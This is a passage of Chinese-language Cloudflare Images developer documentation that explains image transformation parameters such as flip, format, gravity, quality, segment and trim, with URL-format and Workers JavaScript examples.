<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/abstract.D7Gt8U3T.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/abstract-squeeze.COdyKF4Z.jpg" alt="fit=squeeze 输出" loading="lazy" /><figcaption>fit=squeeze 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong>1080 x 1080</td><td><strong>输出</strong>1080 x 540</td></tr></tbody></table></section><section><h4><code>scale-up</code><a href="#scale-up"><span>#</span></a></h4><p>调整图像大小以适应指定的尺寸，同时保持其原始纵横比，但从不缩小图像。这与 <code>scale-down</code> 相反。</p><p>当原始图像大于目标区域时，它以其原始尺寸返回。</p><p>当原始图像小于目标区域时，它会放大以适应目标尺寸。使用 <a href="#upscale">upscale</a> 参数控制用于放大图像的算法 — 将 <code>upscale=generate</code> 设置为 AI 驱动的放大，或将 <code>upscale=interpolate</code>（默认）设置为双三次插值。</p></section></section><section><h3><code>flip</code><a href="#flip"><span>#</span></a></h3><p>水平、垂直或双向翻转图像。</p><p>接受以下值：</p><ul>
<li><code>h</code> — 水平翻转图像。</li>
<li><code>v</code> — 垂直翻转图像。</li>
<li><code>hv</code> — 水平和垂直翻转图像。</li>
</ul><p>Flip 可以与 <code>rotate</code> 参数一起使用来设置图像的方向。翻转在旋转之前执行。例如，如果您应用 <code>flip=h,rotate=90</code>，则图像将先水平翻转，然后旋转 90 度。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/flip-h.Qc63pcHu.jpg" alt="flip=h 输出" loading="lazy" /><figcaption>flip=h 输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/flip-v.DuCcWsSK.jpg" alt="flip=v 输出" loading="lazy" /><figcaption>flip=v 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>flip=h</td><td>flip=v</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9312"> URL 格式 </a></li>
<li><a href="#tab-panel-9313"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>flip=h</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>flip</span><span>: </span></span><span>"h"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>format</code> | <code>f</code><a href="#format--f"><span>#</span></a></h3><p>指定图像的输出格式。</p><p>接受以下值：</p><ul>
<li>
<p><code>auto</code> — 自动提供请求浏览器支持的最有效格式。当您提供 <a href="https://developers.cloudflare.com/images/optimization/hosted-images/create-variants/" target="_blank">托管图像</a> 时，这是默认的 <code>format</code> 选项。</p>
</li>
<li>
<p><code>avif</code> — 如果可能，将图像转码为 AVIF。AVIF 编码可能比编码为其他格式慢一个数量级。如果图像太大而无法快速编码为 AVIF，Cloudflare 将回退到 WebP 或 JPEG。</p>
</li>
<li>
<p><code>webp</code> — 将图像转码为 Google WebP 格式。使用 <code>quality=100</code> 返回 WebP 无损格式。</p>
</li>
<li>
<p><code>jpeg</code> — 以隔行渐进式 JPEG 格式对图像进行转码，其中数据以逐渐更高细节的多次传递进行压缩。</p>
</li>
<li>
<p><code>baseline-jpeg</code> — 以基线顺序 JPEG 格式对图像进行转码。应在目标设备不支持渐进式 JPEG 或其他现代文件格式的情况下使用。</p>
</li>
<li>
<p><code>json</code> — 将有关图像的信息作为 JSON 对象输出。这包含诸如图像大小（调整大小前后）、源图像的 MIME 类型和文件大小之类的数据。</p>
</li>
<li>
<p><a href="#tab-panel-9314"> URL 格式 </a></p>
</li>
<li>
<p><a href="#tab-panel-9315"> Workers </a></p>
</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>format=auto</span></div></div><div><div><div>2</div></div><div><span>f=auto</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>format</span><span>: </span></span><span>"avif"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>要将 <code>format=auto</code> 与自定义 Worker 一起使用，您需要解析 <code>Accept</code> 标头。有关如何设置图像转换 Worker 的完整概述，请参阅 <a href="https://developers.cloudflare.com/images/optimization/transformations/transform-via-workers/#an-example-worker" target="_blank">此示例 Worker</a>。</p><p><strong>用于使用 format 进行图像调整大小的自定义 Worker</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>accept</span><span> </span><span>=</span><span><span> </span><span>request</span><span>.</span></span><span>headers</span><span>.</span><span>get</span><span>(</span><span>"accept"</span><span>);</span></div></div><div><div><div>2</div></div><div><span>let</span><span><span> </span><span>image</span><span> </span></span><span>=</span><span> {};</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>if</span><span> (</span><span><span>/image</span><span>\/</span><span>avif/</span></span><span>.</span><span>test</span><span><span>(</span><span>accept</span><span>)) {</span></span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>image</span><span>.</span><span>format</span><span> </span><span>=</span><span> </span><span>"avif"</span><span>;</span></div></div><div><div><div>7</div></div><div><span>} </span><span>else</span><span> </span><span>if</span><span> (</span><span><span>/image</span><span>\/</span><span>webp/</span></span><span>.</span><span>test</span><span><span>(</span><span>accept</span><span>)) {</span></span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>image</span><span>.</span><span>format</span><span> </span><span>=</span><span> </span><span>"webp"</span><span>;</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>return</span><span> </span><span>fetch</span><span><span>(</span><span>url</span><span>, { </span></span><span>cf</span><span>:</span><span><span> { </span><span>image</span><span> } });</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>gamma</code><a href="#gamma"><span>#</span></a></h3><p>使用乘数调整图像的曝光。Gamma 控制中间调亮度，而不影响图像的最暗或最亮部分。</p><ul>
<li><code>0</code> 和 <code>1</code>（默认）— 对原始伽玛值无更改。</li>
<li><code>&lt; 1.0</code> — 增加中间调亮度，使图像整体看起来更亮。</li>
<li><code>&gt; 1.0</code> — 降低中间调亮度，使图像整体看起来更暗。</li>
</ul>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/gamma-0.5.Bcga364K.jpg" alt="gamma=0.5 输出" loading="lazy" /><figcaption>gamma=0.5 输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/gamma-2.BrZb1hEC.jpg" alt="gamma=2 输出" loading="lazy" /><figcaption>gamma=2 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>gamma=0.5</td><td>gamma=2</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9316"> URL 格式 </a></li>
<li><a href="#tab-panel-9317"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>gamma=0.5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>gamma</span><span>: </span></span><span>0.5</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>gravity</code> | <code>g</code><a href="#gravity--g"><span>#</span></a></h3><p>指定当与 <code>fit=cover</code> 和 <code>fit=crop</code> 一起使用时应如何裁剪图像。默认情况下，Cloudflare 将朝向原始图像的中心点裁剪。</p><p>接受 <code>auto</code>、<code>face</code>、一个侧边（<code>left</code>、<code>right</code>、<code>top</code>、<code>bottom</code>）和相对坐标（<code>XxY</code>）。</p><ul>
<li><a href="#tab-panel-9318"> URL 格式 </a></li>
<li><a href="#tab-panel-9319"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>gravity=auto</span></div></div><div><div><div>2</div></div><div><span>g=auto</span></div></div><div><div><div>3</div></div><div><span>gravity=face</span></div></div><div><div><div>4</div></div><div><span>gravity=left</span></div></div><div><div><div>5</div></div><div><span>gravity=0.5x1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>gravity</span><span>: </span></span><span>"auto"</span><span>}}</span></div></div><div><div><div>2</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>gravity</span><span>: </span></span><span>"face"</span><span>}}</span></div></div><div><div><div>3</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>gravity</span><span>: </span></span><span>"left"</span><span>}}</span></div></div><div><div><div>4</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>gravity</span><span>: {</span><span>x</span><span>:</span></span><span>0.5</span><span><span>, </span><span>y</span><span>:</span></span><span>0.2</span><span>}}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h4><code>auto</code><a href="#auto"><span>#</span></a></h4><p>使用显着性算法自动设置焦点，以检测视觉上最有趣的像素。</p><p>当您提前不知道图像内容时（例如对于用户生成的内容），这很有用。对于大型图像库（例如电子商务产品画廊），此功能消除了为每个图像手动设置焦点的需要。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/coffee-base.B2l8XteX.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/coffee-crop.BrOCyoCE.jpg" alt="不带 gravity=auto 的输出" loading="lazy" /><figcaption>不带 gravity=auto 的输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/coffee-auto.DAQPvZHc.jpg" alt="带 gravity=auto 的输出" loading="lazy" /><figcaption>带 gravity=auto 的输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td><strong>默认裁剪</strong></td><td>gravity=auto</td></tr></tbody></table></section><section><h4><code>face</code><a href="#face"><span>#</span></a></h4><p>根据图像中的人脸自动设置焦点。</p><p>这可以与 <a href="https://developers.cloudflare.com/images/optimization/features#zoom" target="_blank">zoom</a> 参数结合使用，以指定图像应裁剪到人脸的紧密程度。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/suad-kamardeen.O8gS5wPQ.jpeg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/suad-kamardeen-crop.Btvf-dvP.jpeg" alt="不带 gravity=face 的输出" loading="lazy" /><figcaption>不带 gravity=face 的输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/suad-kamardeen-face.3ZHIZdIY.jpeg" alt="带 gravity=face 的输出" loading="lazy" /><figcaption>带 gravity=face 的输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td><strong>默认裁剪</strong></td><td>gravity=face</td></tr></tbody></table><p><em>照片来自 <a href="https://unsplash.com/photos/woman-in-black-cardigan-standing-beside-pink-flowers-UO-82DJ3rcc" target="_blank">Suad Kamardeen (@suadkamardeen) 在 Unsplash 上 ↗</a></em></p></section><section><h4><code>left</code>、<code>right</code>、<code>top</code>、<code>bottom</code><a href="#leftrighttopbottom"><span>#</span></a></h4><p>设置图像不应被裁剪的一侧。</p><p>在下面的示例中，1080x720 的图像被裁剪为 1080x400 的区域，从其底部边缘开始：</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/pete-landscape.C1O-FBM1.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/pete-bottom.BD_YS29E.jpg" alt="不带 gravity=auto 的输出" loading="lazy" /><figcaption>不带 gravity=auto 的输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>gravity=bottom</td></tr></tbody></table></section><section><h4><code>XxY</code><a href="#xxy"><span>#</span></a></h4><p>设置焦点 (X,Y)，以便输出图像的相对坐标定位在原始图像的相对坐标处。接受格式为 <code>XxY</code> 的坐标对，其中 X 和 Y 是介于 <code>0.0</code> 和 <code>1.0</code> 之间的小数值。</p><p></p><figure><img src="https://developers.cloudflare.com/_astro/xxy.pMA7L7Ny_2dl5dr.webp" alt="使用相对坐标更改焦点" loading="lazy" /><figcaption>使用相对坐标更改焦点</figcaption></figure><p></p><ul>
<li><strong>水平值 (X)</strong> — <code>0.0</code> 是图像的左边缘，<code>1.0</code> 是图像的右边缘。</li>
<li><strong>垂直值 (Y)</strong> — <code>0.0</code> 是图像的上边缘，<code>1.0</code> 是图像的下边缘。</li>
</ul><p>下面的示例使用 0.33x0.5 重力点将 900x900 的图像裁剪为 300x900：</p><ul>
<li>原始图像和目标区域都将设置距离左边缘 1/3 宽度和距离上边缘 1/2 高度的重力点。</li>
<li>输出重力点的相对坐标定位在原始图像的相对坐标处。也就是说，定位目标区域，使其重力点位于原始图像中的相同相对位置 (0.33, 0.5)。</li>
<li>图像的变暗部分显示请求输出之外的区域，该区域将被裁剪。</li>
<li>最终裁剪结果捕获围绕重力点 (0.33, 0.5) 的 300x900 内容。</li>
</ul>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/base.DwQU1Wiz.png" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/rel-points.tebmJ081.png" alt="在原始图像和目标区域上对齐重力点" loading="lazy" /><figcaption>在原始图像和目标区域上对齐重力点</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/rel-alignment.u2L4c77x.png" alt="使用新重力点裁剪" loading="lazy" /><figcaption>使用新重力点裁剪</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/rel-output.1DSTik2r.png" alt="最终输出" loading="lazy" /><figcaption>最终输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td><strong>对齐</strong></td><td><strong>裁剪</strong></td><td><strong>输出</strong></td></tr></tbody></table><p>通过 Workers 进行优化时，请使用对象 <code>{x, y}</code> 指定坐标。例如，<code>{fit: "cover", gravity: {x:0.5, y:0.2}}</code> 将裁剪每一侧，以在原始图像高度的 20% 处的点周围保留尽可能多的内容。</p></section></section><section><h3><code>height</code> | <code>h</code><a href="#height--h"><span>#</span></a></h3><p>使用正整数值设置输出图像的高度（像素）。默认情况下，Cloudflare 使用输入图像的原始高度。</p><p>设置 <code>height</code> 时，具体行为取决于 <code>fit</code> 参数。</p><ul>
<li><a href="#tab-panel-9320"> URL 格式 </a></li>
<li><a href="#tab-panel-9321"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>height=250</span></div></div><div><div><div>2</div></div><div><span>h=250</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>height</span><span>: </span></span><span>250</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>metadata</code><a href="#metadata"><span>#</span></a></h3><p>控制应为 JPEG 图像保留的不可见元数据 (EXIF) 的数量。对于所有其他输出格式（例如 WebP 或 PNG），所有元数据将始终被丢弃。</p><p>即使丢弃元数据，也会对图像应用颜色配置文件和 EXIF 旋转。</p><p>注意</p><p>如果启用了 <a href="https://developers.cloudflare.com/images/polish/" target="_blank">Polish</a>，则所有元数据可能已被删除，此选项将不起作用。</p><p>接受以下值：</p><ul>
<li>
<p><code>copyright</code>（默认）— 丢弃除 EXIF 版权标签之外的所有元数据。</p>
</li>
<li>
<p><code>keep</code> — 保留大部分 EXIF 元数据，包括 GPS 位置（如果存在）。</p>
</li>
<li>
<p><code>none</code> — 丢弃所有不可见的 EXIF 元数据。</p>
</li>
<li>
<p><a href="#tab-panel-9322"> URL 格式 </a></p>
</li>
<li>
<p><a href="#tab-panel-9323"> Workers </a></p>
</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>metadata=none</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>metadata</span><span>: </span></span><span>"none"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>onerror</code><a href="#onerror"><span>#</span></a></h3><p>当致命错误阻止图像转换时，将最终用户重定向到原始源图像的 URL。接受 <code>redirect</code>。默认为 none。</p><p>注意</p><p>此功能仅通过 URL 接口优化远程图像时可用。不支持托管图像。</p><p>此选项仅当图像位于同一区域（接受子域）时才有效。如果原始图像来自不同的区域，则该选项不起任何作用。</p><p>这在图像需要用户身份验证且无法通过 Workers 匿名获取图像的情况下可能很有用。但是，如果源图像非常大，则不建议使用此选项。</p><ul>
<li><a href="#tab-panel-9294"> URL 格式 </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>onerror=redirect</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>quality</code> | <code>q</code><a href="#quality--q"><span>#</span></a></h3><p>指定 JPEG、WebP 和 AVIF 格式图像的输出质量，表示为固定值或感知质量级别。默认值为 <code>85</code>。</p><ul>
<li><strong>固定质量</strong> — 接受从 <code>1</code>（低质量，小文件大小）到 <code>100</code>（高质量，大文件大小）的正整数。</li>
<li><strong>感知质量</strong> — 接受 <code>high</code>、<code>medium-high</code>、<code>medium-low</code> 和 <code>low</code>。</li>
</ul><p>当输出格式为 PNG 时，显式的 <code>quality</code> 设置允许使用格式的 PNG8（调色板）变体。</p><ul>
<li><a href="#tab-panel-9324"> URL 格式 </a></li>
<li><a href="#tab-panel-9325"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>quality=50</span></div></div><div><div><div>2</div></div><div><span>quality=low</span></div></div><div><div><div>3</div></div><div><span>q=50</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>quality</span><span>: </span></span><span>50</span><span>}}</span></div></div><div><div><div>2</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>quality</span><span>: </span></span><span>"high"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>rotate</code><a href="#rotate"><span>#</span></a></h3><p>将图像旋转一定度数。接受 <code>90</code>、<code>180</code> 或 <code>270</code>。默认值为 <code>0</code>（无旋转）。</p><p>旋转在调整大小之前执行；<code>width</code> 和 <code>height</code> 选项将指图像旋转后的轴。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/rotate-180.Dx3iw1mv.jpg" alt="rotate=180 输出" loading="lazy" /><figcaption>rotate=180 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>rotate=180</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9326"> URL 格式 </a></li>
<li><a href="#tab-panel-9327"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>rotate=90</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>rotate</span><span>: </span></span><span>90</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>saturation</code><a href="#saturation"><span>#</span></a></h3><p>使用乘数调整图像的颜色饱和度。</p><ul>
<li><code>0</code> — 完全去饱和（灰度）。</li>
<li><code>&lt; 1.0</code> — 降低颜色强度。例如，<code>0.5</code> 表示饱和度为一半。</li>
<li><code>1</code>（默认）— 对原始饱和度无更改。</li>
<li><code>&gt; 1.0</code> — 增加颜色强度。例如，<code>2</code> 表示饱和度为两倍。</li>
</ul>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/saturation-0.Cn9J5pmH.jpg" alt="saturation=0 输出" loading="lazy" /><figcaption>saturation=0 输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/saturation-2.B7Pl0-wE.jpg" alt="saturation=2 输出" loading="lazy" /><figcaption>saturation=2 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>saturation=0</td><td>saturation=2</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9328"> URL 格式 </a></li>
<li><a href="#tab-panel-9329"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>saturation=0.5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>saturation</span><span>: </span></span><span>0.5</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>segment</code><a href="#segment"><span>#</span></a></h3><p>通过用透明像素替换背景，自动分离图像的主体。接受 <code>foreground</code>。默认为 none。</p><p>此功能通过 <a href="https://developers.cloudflare.com/workers-ai/" target="_blank">Workers AI</a> 使用名为 BiRefNet 的开源模型。阅读更多关于 Cloudflare 的 <a href="https://www.cloudflare.com/trust-hub/responsible-ai/" target="_blank">负责任的 AI 方法 ↗</a> 的信息。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/segment-foreground.B6UYNLDs.png" alt="segment=foreground 输出" loading="lazy" /><figcaption>segment=foreground 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>segment=foreground</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9330"> URL 格式 </a></li>
<li><a href="#tab-panel-9331"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>segment=foreground</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>segment</span><span>: </span></span><span>"foreground"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>sharpen</code><a href="#sharpen"><span>#</span></a></h3><p>应用锐化滤镜以增强图像中的边缘定义。接受从 <code>0</code>（无锐化）到 <code>10</code>（最大锐化）的小数值。默认值为 <code>0</code>。缩小图像的推荐值为 <code>1</code>。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/sharpen-5.CyEreNja.jpg" alt="sharpen=5 输出" loading="lazy" /><figcaption>sharpen=5 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>sharpen=5</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9332"> URL 格式 </a></li>
<li><a href="#tab-panel-9333"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sharpen=2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>sharpen</span><span>: </span></span><span>2</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>slow-connection-quality</code> | <code>scq</code><a href="#slow-connection-quality--scq"><span>#</span></a></h3><p>每当检测到慢速连接时，覆盖 <code>quality</code> 值。接受与 <a href="#quality">quality</a> 相同的固定或感知设置。默认为 none。</p><p>注意</p><p>此功能仅通过 URL 接口在基于 Chromium 的浏览器（如 Chrome、Edge 和 Opera）上进行优化时可用。</p><p>要检测慢速连接，请通过标头中的 HTTP 启用以下任何客户端提示：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>accept-ch: rtt, save-data, ect, downlink</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>当存在客户端提示并且满足以下任何条件时，将应用 <code>slow-connection-quality</code>：</p><ul>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/RTT" target="_blank">rtt ↗</a>：大于 150ms。</p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Save-Data" target="_blank">save-data ↗</a>：值为 “on”。</p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/ECT" target="_blank">ect ↗</a>：值为 <code>slow-2g|2g|3g</code> 之一。</p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Downlink" target="_blank">downlink ↗</a>：小于 5Mbps。</p>
</li>
<li>
<p><a href="#tab-panel-9295"> URL 格式 </a></p>
</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>slow-connection-quality=50</span></div></div><div><div><div>2</div></div><div><span>scq=50</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>trim</code><a href="#trim"><span>#</span></a></h3><p>移除图像周围的像素。</p><p>此功能可用于根据边框颜色或根据指定数量的像素从图像的一侧或多侧修剪图像。</p><p>Trim 会考虑 <a href="#dpr">dpr</a> 参数，并在调整大小和旋转之前执行。</p><section><h4><code>border</code><a href="#border-1"><span>#</span></a></h4><p>根据其边框颜色自动修剪图像的边缘。</p><p>可以使用以下参数进一步调整 <code>trim=border</code> 选项：</p><ul>
<li><code>trim.border.color</code> — 选择要修剪的边框颜色。接受使用 CSS4 现代语法的任何 CSS 颜色。如果省略，则自动检测颜色。</li>
<li><code>trim.border.tolerance</code> — 设置检测到的像素在颜色上必须匹配的程度。接受介于 <code>0</code>（不需要匹配）和 255（必须完全匹配）之间的整数。</li>
<li><code>trim.border.keep</code> — 指定要保留不修剪的原始边框的像素数。</li>
</ul></section><section><h4><code>top;right;bottom;left</code><a href="#toprightbottomleft"><span>#</span></a></h4><p>指定要从图像边缘移除的像素数。接受四个值，用分号分隔，以便一次设置图像所有四边的修剪。</p><p>所有修剪值接受整数（像素数）或介于 <code>0</code> 和 <code>1</code> 之间的小数，表示图像尺寸的一部分。例如，<code>0.25</code> 从该侧修剪 25%。</p><p>也可以使用以下参数将 Trim 应用于特定侧边：</p><ul>
<li>
<p><code>trim.top</code> — 从图像顶部移除像素。</p>
</li>
<li>
<p><code>trim.left</code> — 从图像左侧移除像素。</p>
</li>
<li>
<p><code>trim.height</code> — 从图像上边缘设置图像的高度，然后修剪其下方的所有内容。</p>
</li>
<li>
<p><code>trim.width</code> — 从图像左边缘设置图像的宽度，然后修剪其右侧的所有内容。</p>
</li>
<li>
<p><a href="#tab-panel-9334"> URL 格式 </a></p>
</li>
<li>
<p><a href="#tab-panel-9335"> Workers </a></p>
</li>
</ul><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>trim=border</span></div></div><div><div><div>2</div></div><div><span>trim.height=800</span></div></div><div><div><div>3</div></div><div><span>// 这将图像的高度从图像顶部设置为 800 像素，然后修剪该点下方的所有内容</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>trim.left=800</span></div></div><div><div><div>7</div></div><div><span>// 这从图像左侧移除 800 像素</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>trim=0.1;0.2;0.1;0.2</span></div></div><div><div><div>11</div></div><div><span>// 这从顶部和底部修剪 10%，从左侧和右侧修剪 20%</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div>
